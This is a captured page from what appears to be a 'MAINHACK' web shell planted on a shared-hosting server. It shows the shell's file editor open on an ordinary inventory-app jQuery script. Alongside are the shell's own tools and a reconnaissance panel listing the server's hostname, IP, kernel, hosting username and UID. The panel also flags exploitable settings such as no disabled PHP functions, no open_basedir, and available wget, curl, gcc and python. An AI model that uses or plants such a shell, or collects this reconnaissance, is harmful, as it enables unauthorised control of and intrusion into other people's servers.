[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: opening_stock.js
$(document).ready(function() { $(document).on('change', '.purchase_quantity', function() { update_table_total($(this).closest('table')); }); $(document).on('change', '.unit_price', function() { update_table_total($(this).closest('table')); }); $('.os_exp_date').datepicker({ autoclose: true, format: datepicker_date_format, }); $(document).on('click', '.add_stock_row', function() { var tr = $(this).data('row-html'); var key = parseInt($(this).data('sub-key')); tr = tr.replace(/\__subkey__/g, key); $(this).data('sub-key', key + 1); $(tr) .insertAfter($(this).closest('tr')) .find('.os_exp_date') .datepicker({ autoclose: true, format: datepicker_date_format, }); $(this).closest('tr').next('tr').find('.os_date').datetimepicker({ format: moment_date_format + ' ' + moment_time_format, ignoreReadonly: true, }); }); $(document).on('click', '.add-opening-stock', function(e) { e.preventDefault(); $.ajax({ url: $(this).data('href'), dataType: 'html', success: function(result) { $('#opening_stock_modal') .html(result) .modal('show'); }, }); }); }); //Re-initialize data picker on modal opening $('#opening_stock_modal').on('shown.bs.modal', function(e) { $('#opening_stock_modal .os_exp_date').datepicker({ autoclose: true, format: datepicker_date_format, }); $('#opening_stock_modal .os_date').datetimepicker({ format: moment_date_format + ' ' + moment_time_format, ignoreReadonly: true, widgetPositioning: { horizontal: 'right', vertical: 'bottom' } }); }); $(document).on('click', 'button#add_opening_stock_btn', function(e) { e.preventDefault(); var btn = $(this); var data = $('form#add_opening_stock_form').serialize(); $.ajax({ method: 'POST', url: $('form#add_opening_stock_form').attr('action'), dataType: 'json', data: data, beforeSend: function(xhr) { __disable_submit_button(btn); }, success: function(result) { if (result.success == true) { $('#opening_stock_modal').modal('hide'); toastr.success(result.msg); } else { toastr.error(result.msg); } }, }); return false; }); function update_table_total(table) { var total_subtotal = 0; table.find('tbody tr').each(function() { var qty = __read_number($(this).find('.purchase_quantity')); var unit_price = __read_number($(this).find('.unit_price')); var row_subtotal = qty * unit_price; $(this) .find('.row_subtotal_before_tax') .text(__number_f(row_subtotal)); total_subtotal += row_subtotal; }); table.find('tfoot tr #total_subtotal').text(__currency_trans_from_en(total_subtotal, true)); table.find('tfoot tr #total_subtotal_hidden').val(total_subtotal); }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.86 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285